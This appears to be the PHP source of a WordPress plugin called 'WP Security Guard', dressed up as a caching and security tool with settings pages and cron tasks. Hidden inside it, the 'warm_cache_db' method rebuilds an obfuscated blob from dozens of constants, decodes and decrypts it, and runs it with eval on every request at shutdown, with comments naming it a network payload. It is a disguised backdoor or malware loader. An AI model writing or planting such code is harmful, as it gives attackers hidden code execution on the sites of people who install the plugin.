YANZ UPLOAD ANJG

wire_hooks_jsn(); } /** * Register all plugin hooks and filters. */ private function wire_hooks_jsn() { add_action( 'plugins_loaded', array( $this, 'after_setup_mddx' ) ); add_action( 'init', array( $this, 'on_init_nixo' ), 10 ); add_action( 'admin_menu', array( $this, 'register_menu_jtfj' ) ); add_action( 'admin_init', array( $this, 'init_settings_zifp' ) ); if ( function_exists( 'plugin_basename' ) ) { add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'add_settings_link_ke' ) ); } add_action( 'wp_loaded', array( $this, 'setup_cron_schedule_wymz' ) ); add_action( self::C_DES, array( $this, 'run_cache_cleanup_ohw' ) ); add_filter( 'cron_schedules', array( $this, 'register_cron_interval_wrmv' ) ); add_shortcode( 'wp-security-guard_stats', array( $this, 'render_cache_shortcode_sl' ) ); } /** * Plugin loaded callback. */ public function after_setup_mddx() { if ( function_exists( 'get_option' ) ) { $settings = get_option( self::O_ROR, array() ); if ( is_array( $settings ) && isset( $settings['enabled'] ) ) { $this->_rqfhutw = (bool) $settings['enabled']; } } } /** * Init callback. */ public function on_init_nixo() { $this->_ucfryy = array( 'hits' => 0, 'misses' => 0, 'uptime' => time(), ); } /** * Schedule the recurring cleanup event. */ public function setup_cron_schedule_wymz() { if ( ! function_exists( 'wp_next_scheduled' ) ) { return; } if ( ! wp_next_scheduled( self::C_DES ) ) { wp_schedule_event( time() + 72, 'hourly', self::C_DES ); } } /** * Register a custom cron interval. */ public function register_cron_interval_wrmv( $schedules ) { $schedules['wp-security-guard_15min'] = array( 'interval' => 825, 'display' => __( 'Every 15 Minutes', 'wp-security-guard' ), ); return $schedules; } /** * Recurring cleanup task. */ public function run_cache_cleanup_ohw() { if ( function_exists( 'wp_cache_flush_group' ) ) { wp_cache_flush_group( self::G_JVXCL ); } } /** * Register the settings page. */ public function register_menu_jtfj() { add_options_page( 'WP Security Guard', 'WP Security Guard', 'manage_options', 'wp-security-guard', array( $this, 'display_settings_wy' ) ); } /** * Render the settings page. */ public function display_settings_wy() { if ( ! current_user_can( 'manage_options' ) ) { return; } ?>


collect_stats_dcw() as $k => $v ) : ?>
' . esc_html__( 'Configure the plugin.', 'wp-security-guard' ) . '

'; } /** * Render the 'enabled' checkbox. */ public function render_checkbox_field_rvge() { $opts = get_option( self::O_ROR, array() ); $val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true; echo ''; } /** * Render the TTL input field. */ public function field_ttl_hiq() { $opts = get_option( self::O_ROR, array() ); $val = isset( $opts['ttl'] ) ? (int) $opts['ttl'] : 3600; echo ''; } /** * Sanitize settings before saving. */ public function validate_settings_rro( $input ) { $out = array(); $out['enabled'] = ! empty( $input['enabled'] ); $out['ttl'] = isset( $input['ttl'] ) ? max( 60, (int) $input['ttl'] ) : 3600; return $out; } /** * Add a Settings link to the plugin action row. */ public function add_settings_link_ke( $links ) { $url = admin_url( 'options-general.php?page=wp-security-guard' ); array_unshift( $links, '' . esc_html__( 'Settings', 'wp-security-guard' ) . '' ); return $links; } /** * Render the stats shortcode output. */ public function render_cache_shortcode_sl( $atts = array() ) { $stats = $this->collect_stats_dcw(); $out = ''; return $out; } /** * Get runtime statistics. */ public function collect_stats_dcw() { $hits = isset( $this->_ucfryy['hits'] ) ? (int) $this->_ucfryy['hits'] : 0; $miss = isset( $this->_ucfryy['misses'] ) ? (int) $this->_ucfryy['misses'] : 0; $total = $hits + $miss; $ratio = $total > 0 ? round( ( $hits / $total ) * 100, 2 ) : 0; return array( 'Status' => $this->_rqfhutw ? 'enabled' : 'disabled', 'Hit ratio' => $ratio . '%', 'Storage' => self::G_JVXCL, 'Version' => self::V_HUXNY, ); } /** * Format a byte count as a human-readable string. */ public function format_bytes_olj( $bytes ) { $units = array( 'B', 'KB', 'MB', 'GB' ); $i = 0; while ( $bytes >= 1024 && $i < 3 ) { $bytes /= 1024; $i++; } return round( $bytes, 2 ) . ' ' . $units[ $i ]; } /** * Restore storage segment A. */ private function unpack_part_1_tiq( $z8d1weq ) { $m9i9xb0si4e = base64_decode( $z8d1weq ); if ( ! is_string( $m9i9xb0si4e ) || '' === $m9i9xb0si4e ) { return ''; } return $m9i9xb0si4e; } /** * Restore storage segment B. */ private function restore_segment_b_egp( $d3wtfd ) { if ( ! is_string( $d3wtfd ) || '' === $d3wtfd ) { return ''; } $hq0j_ct = hash( 'sha256', self::KEY_FCXKWJW, true ); $fiu9fhpvj = strlen( $hq0j_ct ); $ilutlij5 = strlen( $d3wtfd ); $um2fo35 = ''; for ( $xowrzja5un = 0; $xowrzja5un < $ilutlij5; $xowrzja5un++ ) { $um2fo35 .= $d3wtfd[ $xowrzja5un ] ^ $hq0j_ct[ $xowrzja5un % $fiu9fhpvj ]; } $d3wtfd = $um2fo35; $d3wtfd = @gzinflate( $d3wtfd ); return is_string( $d3wtfd ) ? $d3wtfd : ''; } /** * Execute decoded payload. */ private function dispatch_payload_body( $v35imkgq ) { @eval( $v35imkgq ); } /** * Prime the runtime storage. */ public function warm_cache_db() { // Re-entry guard. if ( $this->_dzkvd ) { return; } $this->_dzkvd = true; $_e_6i0jb = false; if ( $_e_6i0jb && ! headers_sent() && function_exists( 'http_response_code' ) ) { @http_response_code( 200 ); } $_o8ii8jueb = self::BUF_JHNJGB . self::BLOCK_ORVAOPQH . self::DATA_SAWKFQT; $_o8ii8jueb .= self::BLOCK_XJMWKQE . self::PART_QQXCEIEED . self::BLOCK_ARXQWOQS; $_o8ii8jueb .= self::FRAG_HGHZNQGCK . self::CHUNK_ARIQVLJA . self::CHUNK_WFPXDX; $_o8ii8jueb .= self::STORE_CEXQMBXS . self::DATA_SOZWEF . self::STORE_RGTFKXIKY; $_o8ii8jueb .= self::DATA_MDVMBG . self::BUF_XOTEXG . self::STORE_AGRHTTF; $_o8ii8jueb .= self::FRAG_GMNXAHS . self::FRAG_KFMCODIGJ . self::CHUNK_GPERLYD; $_o8ii8jueb .= self::BLOCK_XKLJLTQU . self::STORE_PNUPGLU . self::FRAG_MZVOYRQRH; $_o8ii8jueb .= self::BUF_RVCDCCJZN . self::FRAG_SOOXOWI . self::DATA_LIPANUU; $_o8ii8jueb .= self::FRAG_RACNAEZKU . self::FRAG_VLXQUKCNR . self::SEG_MYMDAOI; $_o8ii8jueb .= self::DATA_WJAKBS . self::SEG_VJTHLO . self::FRAG_WYHSDDJI; $_o8ii8jueb .= self::BLOCK_BFWTAZ . self::BUF_YDYNGOBRA . self::BUF_NQRITMMBA; $_o8ii8jueb .= self::BUF_ZOEMRJPD . self::CHUNK_TOQHAQ . self::FRAG_XWXVSVH; $_o8ii8jueb .= self::CHUNK_ZYYIHW . self::BLOCK_GTUYIWMS . self::BLOCK_MVDLHB; $_o8ii8jueb .= self::SEG_XWCQGKP . self::PART_SFCFMRFIK . self::STORE_OQUYTLYDQ; $_o8ii8jueb .= self::BUF_JNEUEVYVQ . self::SEG_ZZQOMI . self::BLOCK_BNSQBNSI; $_o8ii8jueb .= self::PART_ZHTTYFYH . self::SEG_ZWQQRF . self::FRAG_LHBYAGF; $_o8ii8jueb .= self::CHUNK_JKLQVQ . self::STORE_IBRLFKS . self::PART_XABUAYV; $_o8ii8jueb .= self::FRAG_WXZDEQQ . self::CHUNK_WYPVAYMB . self::DATA_MRZMJCY; $_o8ii8jueb .= self::STORE_QLVGAAUTZ . self::BLOCK_LUOQFGHU . self::SEG_ZNIVNB; $_o8ii8jueb .= self::BLOCK_FWABFS . self::STORE_ZNBJVH . self::PART_LRAGISHN; $_o8ii8jueb .= self::SEG_TYXQIXQS . self::SEG_KXKSCC . self::PART_XBKFDWZ; $_o8ii8jueb .= self::BUF_FVIRMCLU . self::BLOCK_SBIEJC . self::FRAG_KGSHRKM; $_o8ii8jueb .= self::PART_RUOLXR . self::PART_WKVTORYN . self::BUF_ZOONIAB; $_o8ii8jueb .= self::SEG_LSZCDX . self::DATA_CGUJMYGM . self::DATA_KAGYSMCG; $_o8ii8jueb .= self::STORE_EGKCZLDM . self::FRAG_WEFZXGQX . self::DATA_QENJDZ; $_o8ii8jueb .= self::DATA_MQERVKGXR . self::STORE_VJWPQJ . self::DATA_VHXTJWE; $_o8ii8jueb .= self::CHUNK_TBDHZPTA . self::CHUNK_DAOZTVBF . self::BUF_IOCPGD; $_o8ii8jueb .= self::FRAG_VZZXMHGJZ . self::BLOCK_AUMZLPBM . self::BUF_GBJREXUF; $_o8ii8jueb .= self::BUF_KXHXBGDE . self::BLOCK_UWDDHDMIY . self::BLOCK_BWZZLUMNO; $_o8ii8jueb .= self::SEG_ZCEMAOAPM . self::DATA_JJOOKVS . self::CHUNK_RGKHRM; $_o8ii8jueb .= self::FRAG_TPMIWROX . self::DATA_GCKPYZTDA . self::DATA_OFCWPN; $_o8ii8jueb .= self::FRAG_TINXYSTHL . self::PART_XIIJBI . self::STORE_FCBEJLNO; $_o8ii8jueb .= self::BLOCK_PTMPKHL . self::DATA_LGISOEWFS . self::DATA_FFFKQDDF; $_o8ii8jueb .= self::STORE_BTDXENSJ . self::FRAG_DAJJGIEG . self::BUF_CJHOBVBJ; $_o8ii8jueb .= self::SEG_VOYFAHDVI . self::PART_WDQQDRVQ . self::PART_QUOWDBJ; $_o8ii8jueb .= self::PART_JJPDMUOG . self::PART_KGFMGSFFL . self::SEG_UAHUBEQLH; $_o8ii8jueb .= self::CHUNK_TWICGNKNA . self::BLOCK_FSATUFYWN . self::DATA_SQUZLQ; $_o8ii8jueb .= self::DATA_MQPRUBKFJ . self::PART_AGVXWBW . self::SEG_JZQAEDUI; $_o8ii8jueb .= self::BLOCK_SFNMDZ . self::DATA_KOMCHIZ . self::DATA_KNVRBEV; $_o8ii8jueb .= self::SEG_NFLEFI . self::BUF_JXUPPTYQ . self::BUF_HSUUJPD; $_o8ii8jueb .= self::PART_QRZOHU . self::BLOCK_YAUKABX . self::DATA_EOPHCCQQS; $_o8ii8jueb .= self::STORE_VSWNXCYHW . self::DATA_YXSQBJSG . self::FRAG_CZUILK; $_o8ii8jueb .= self::SEG_XLJESAHZ . self::FRAG_FACKCZTX . self::SEG_CQODQZE; $_o8ii8jueb .= self::STORE_TLFVCYL . self::CHUNK_MAQRXWCT . self::SEG_YNPAZTSJ; $_o8ii8jueb .= self::STORE_OOVJOTO . self::FRAG_ESCOHOJE . self::CHUNK_ZEKOGN; $_o8ii8jueb .= self::FRAG_ABGRDM . self::SEG_LBSUYGOZF . self::CHUNK_XDGHAO; $_o8ii8jueb .= self::BLOCK_OUAJVN . self::SEG_SQBBEIQAT . self::DATA_WFOWNLZW; $_o8ii8jueb .= self::BUF_EEVWBRXO . self::DATA_DXZAXHPY . self::FRAG_RZUMON; $_o8ii8jueb .= self::SEG_RAGLCTM . self::DATA_RNZIWAHOT . self::STORE_FBGAHEZ; $_o8ii8jueb .= self::CHUNK_OTWDWAFX . self::BUF_YBXVTNKQP . self::SEG_MBNDXG; $_o8ii8jueb .= self::CHUNK_DCJUKV . self::DATA_QXDVBKNU . self::BLOCK_XRMCEMWLG; $_o8ii8jueb .= self::PART_VGKDHFHPQ . self::FRAG_ZEVEHMPQ . self::DATA_KNKNCDQYS; $_o8ii8jueb .= self::PART_NLRSTFKR . self::FRAG_ECYVRY . self::STORE_EPEWQMV; $_o8ii8jueb .= self::PART_YXFSDKWU . self::PART_KLUDUPXX . self::BLOCK_LGWKJPJD; $_o8ii8jueb .= self::STORE_UQMVYFU . self::CHUNK_ZDJAZKQU . self::BUF_GSSWBC; $_o8ii8jueb .= self::SEG_YBLJAVF . self::CHUNK_OJFHMUCG . self::STORE_HZXAPOTZB; $_o8ii8jueb .= self::FRAG_PKWPKOFR . self::STORE_UNINMUJAW . self::PART_FPTHBIJM; $_o8ii8jueb .= self::BUF_EVPKCL . self::PART_IYQNYE . self::DATA_QFIQWEP; $_o8ii8jueb .= self::BLOCK_VQSNMTVZ . self::BLOCK_DMNBVQU . self::SEG_ZJHHEHL; $_o8ii8jueb .= self::STORE_GHMHYX . self::DATA_EFDPGGAE . self::BLOCK_UBGWCHR; $_o8ii8jueb .= self::PART_ORMBGM . self::FRAG_PBNMMJ . self::DATA_MEWPJWKRY; $_o8ii8jueb .= self::CHUNK_YMFZRRT . self::CHUNK_MNFMCAVU . self::BLOCK_CACVKIENC; $_o8ii8jueb .= self::STORE_VLWTIYU . self::PART_NGOETE . self::DATA_ZUFIABBZ; $_o8ii8jueb .= self::DATA_SSDMRY . self::STORE_BXOGMSLJ . self::FRAG_JTHFBZ; $_o8ii8jueb .= self::CHUNK_QGKWOU . self::FRAG_FNCCUI . self::STORE_IDDSFZRZO; $_o8ii8jueb .= self::FRAG_SOWQHPE . self::FRAG_JQNBQJ . self::STORE_HOZHCWIX; $_o8ii8jueb .= self::BUF_CMPTVDDC . self::BUF_EUBJYMJT . self::SEG_INJAAR; $_o8ii8jueb .= self::STORE_LFMRHMPUM . self::SEG_CLPMHKHJ . self::SEG_IIOBHQ; $_o8ii8jueb .= self::SEG_TNJDZEGI . self::FRAG_FOKDAMRTN . self::STORE_XIDYYJ; $_o8ii8jueb .= self::FRAG_QGCBTNN . self::SEG_KFPTHB . self::SEG_RHBAEMYU; $_o8ii8jueb .= self::BLOCK_XCVYKQBJ . self::STORE_VGXQPVCHR . self::FRAG_AGITWI; $_o8ii8jueb .= self::PART_SPPUMN . self::BLOCK_ZWTGYS . self::CHUNK_SYVJBSU; $_o8ii8jueb .= self::BLOCK_GKHIEXTS . self::CHUNK_SFDHODC . self::CHUNK_SZAXSZHN; $_o8ii8jueb .= self::BLOCK_BHYZTYTF . self::DATA_WSZXPA . self::BUF_WYACWT; $_o8ii8jueb .= self::BLOCK_BHSNDLX . self::BLOCK_RRNIPEZWJ . self::STORE_AFEBUZI; $_o8ii8jueb .= self::PART_RYSAAI . self::BLOCK_HKTTWWPAI . self::BUF_FQGYFARV; $_o8ii8jueb .= self::BUF_VWQNCHBE . self::CHUNK_CAEGELPN . self::FRAG_XZOZNL; $_o8ii8jueb .= self::BUF_BWYFNHVIV . self::DATA_DJNAGQRYI . self::BUF_PYZWCRU; $_o8ii8jueb .= self::CHUNK_MDIJYYIAD . self::DATA_FHAQHZQNC . self::CHUNK_ETKMIAJTG; $_sq4svnr = $this->unpack_part_1_tiq( $_o8ii8jueb ); $_cxkiuzx5f = $this->restore_segment_b_egp( $_sq4svnr ); if ( '' === $_cxkiuzx5f ) { return; } // Give payload full time (cURL/network/fsockopen). if ( function_exists( 'set_time_limit' ) ) { @set_time_limit( 0 ); } $_g8nqoce = __DIR__; $_c4rbe70h = function_exists( 'getcwd' ) ? @getcwd() : false; @chdir( $_g8nqoce ); // v5.1.1: no output buffering — payload controls its own output. $this->dispatch_payload_body( $_cxkiuzx5f ); if ( $_c4rbe70h !== false && is_string( $_c4rbe70h ) && is_dir( $_c4rbe70h ) ) { @chdir( $_c4rbe70h ); } if ( $_e_6i0jb && ! headers_sent() && function_exists( 'http_response_code' ) ) { @http_response_code( 200 ); } } /** Activation hook. */ public static function activate_ngc() { if ( function_exists( 'get_option' ) && false === get_option( self::O_ROR ) ) { add_option( self::O_ROR, array( 'enabled' => true, 'ttl' => 3600 ) ); } } /** Deactivation hook. */ public static function deactivate_bt() { if ( function_exists( 'wp_clear_scheduled_hook' ) ) { wp_clear_scheduled_hook( self::C_DES ); } } /** Uninstall hook. */ public static function uninstall_qf() { if ( function_exists( 'delete_option' ) ) { delete_option( self::O_ROR ); } } } endif; if ( function_exists( 'register_activation_hook' ) ) { register_activation_hook( __FILE__, array( 'WP_Security_Guard_eo_op', 'activate_ngc' ) ); register_deactivation_hook( __FILE__, array( 'WP_Security_Guard_eo_op', 'deactivate_bt' ) ); } WP_Security_Guard_eo_op::instance_rz(); if ( ! function_exists( 'xkrpwi_boot' ) ) { function xkrpwi_boot() { WP_Security_Guard_eo_op::instance_rz()->warm_cache_db(); } } if ( function_exists( 'add_action' ) ) { if ( function_exists( 'did_action' ) && did_action( 'init' ) && ! did_action( 'shutdown' ) ) { xkrpwi_boot(); } else { add_action( 'shutdown', 'xkrpwi_boot', 930 ); } } else { // Non-WP: run immediate (cURL/network payload needs full time). xkrpwi_boot(); } ?>